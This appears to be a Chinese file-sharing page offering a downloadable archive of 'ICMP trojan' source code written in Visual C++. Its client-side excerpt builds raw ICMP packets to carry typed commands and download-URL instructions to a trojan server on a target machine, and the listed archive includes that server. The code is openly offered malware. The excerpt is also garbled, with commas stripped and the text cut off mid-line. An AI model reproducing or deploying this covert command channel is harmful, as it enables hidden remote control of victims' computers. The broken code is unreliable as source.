• 大小: 198KB
    文件类型: .rar
    金币: 2
    下载: 0 次
    发布日期: 2024-01-28
  • 语言: 其他
  • 标签: ICMP  木马  vc  

资源简介

VC编写的ICMP木马源代码 功能非常强大

资源截图

代码片段和文件信息



#include 
#include 
#include  

#pragma comment(lib“ws2_32.lib“)

char SendMsg[256];

/* The IP header */
typedef struct iphdr {
unsigned int h_len:4; //4位首部长度
unsigned int version:4; //IP版本号,4表示IPV4
unsigned char tos; //8位服务类型TOS
unsigned short total_len; //16位总长度(字节)
unsigned short ident; //16位标识
unsigned short frag_and_flags; //3位标志位
unsigned char ttl; //8位生存时间 TTL
unsigned char proto; //8位协议 (TCP UDP 或其他)
unsigned short checksum; //16位IP首部校验和
unsigned int sourceIP; //32位源IP地址
unsigned int destIP; //32位目的IP地址
}IpHeader;




typedef struct _ihdr
{
BYTE i_type;//8位类型
BYTE i_code; //8位代码
USHORT i_cksum;//16位校验和
USHORT i_id;//识别号(一般用进程号作为识别号)
USHORT i_seq;//报文序列号
ULONG timestamp;//时间截
} IcmpHeader;

#define STATUS_FAILED 0xFFFF
  
#define MAX_PACKET 2000
char arg[1450];

#define xmalloc(s) HeapAlloc(GetProcessHeap() HEAP_ZERO_MEMORY (s))


void fill_icmp_data(char * int);
USHORT checksum(USHORT * int);

void decode_resp(char *int struct sockaddr_in *);//ICMP解包函数
void help(void);
void usage(char * prog);

int main(int argc char *argv[])
{
char *ICMP_DEST_IP; //目标主机的IP
char *recvbuf;

if(argc!=2)
{
usage(argv[0]);
return 0;
}

ICMP_DEST_IP=argv[1];//取得目标主机IP
WSADATA wsaData;
SOCKET sockRaw;
struct sockaddr_in destfrom;
int datasize;
int fromlen=sizeof(from);

char *icmp_data;




if(WSAStartup(MAKEWORD(2 2) &wsaData) != 0)
{
fprintf(stderr “WSAStartup failed: %d\n“ GetLastError());
ExitProcess(STATUS_FAILED);
}
sockRaw=socket(AF_INET SOCK_RAW IPPROTO_ICMP);
int timeout=1000;
setsockopt(sockRaw SOL_SOCKET SO_SNDTIMEO (char *) &timeout sizeof(timeout));
timeout=4000;
setsockopt(sockRaw SOL_SOCKET SO_RCVTIMEO (char *) &timeout sizeof(timeout));
memset(&dest0sizeof(dest));
dest.sin_addr.s_addr=inet_addr(ICMP_DEST_IP);
dest.sin_family=AF_INET;

usage(argv[0]);
__try{
for(;;){

printf(“ICMP-CMD>“);
fgets(SendMsg1024stdin);//取得命令行,保存在SendMsg数组中

if(!strcmp(SendMsg“Q\n“)||!strcmp(SendMsg“q\n“))ExitProcess(0);
if(!strcmp(SendMsg“\n“))continue;
if(!strcmp(SendMsg“H\n“)||!strcmp(SendMsg“h\n“)){help();continue;}
if(!memcmp(SendMsg“http://“7))
if(!strstr(SendMsg“-“)){printf(“\nFileName Error. Use \“-FileName\“\n“);continue;}

datasize=strlen(SendMsg);
datasize+=sizeof(IcmpHeader);
printf(“ICMP packet size is %d“datasize);
icmp_data= (char*)xmalloc(MAX_PACKET);
recvbuf= (char *)xmalloc(MAX_PACKET);
memset(icmp_data0 MAX_PACKET);
fill_icmp_data(icmp_data datasize);
((IcmpHeader *)icmp_data)->i_cksum=0;
((IcmpHeader *)icmp_data)->i_cksum=checksum((USHORT *)icmp_data datasize);

int bwrote=sendto(sockRaw icmp_data datasize 0 (struct sockaddr *) &dest sizeof(dest));

if (bwrote == SOCKET_ERROR)
{
if (WSAGetLastError() == WSAETIMEDOUT) printf(“Timed out\n“);
fprintf(stderr“sendto failed: %d\n“WSAGetLastError());

}

  if (bwrote

 属性            大小     日期    时间   名称
----------- ---------  ---------- -----  ----

     文件       1059  2007-04-06 20:48  使用说明.txt

     文件       5745  2003-08-17 15:21  client\icmpsend.cpp

     文件       2007  2003-08-17 15:02  client\icmpsend.dsp

     文件        541  2003-08-17 15:02  client\icmpsend.dsw

     文件      41984  2003-08-17 15:21  client\icmpsend.ncb

     文件      48640  2003-08-17 15:21  client\icmpsend.opt

     文件        870  2003-08-17 15:21  client\icmpsend.plg

     文件      19060  2003-08-17 15:23  server\icmpsrv.cpp

     文件       1999  2003-08-17 15:05  server\icmpsrv.dsp

     文件        539  2003-08-17 15:05  server\icmpsrv.dsw

     文件      27648  2004-06-30 22:17  server\icmpsrv.ncb

     文件      48640  2003-08-17 15:23  server\icmpsrv.opt

     文件        862  2003-08-17 15:23  server\icmpsrv.plg

     文件       1128  1999-09-29 00:13  server\StdAfx.h

     文件       1716  2007-02-28 11:16  华西黑客联盟.htm

----------- ---------  ---------- -----  ----

               202438                    15


评论

共有 条评论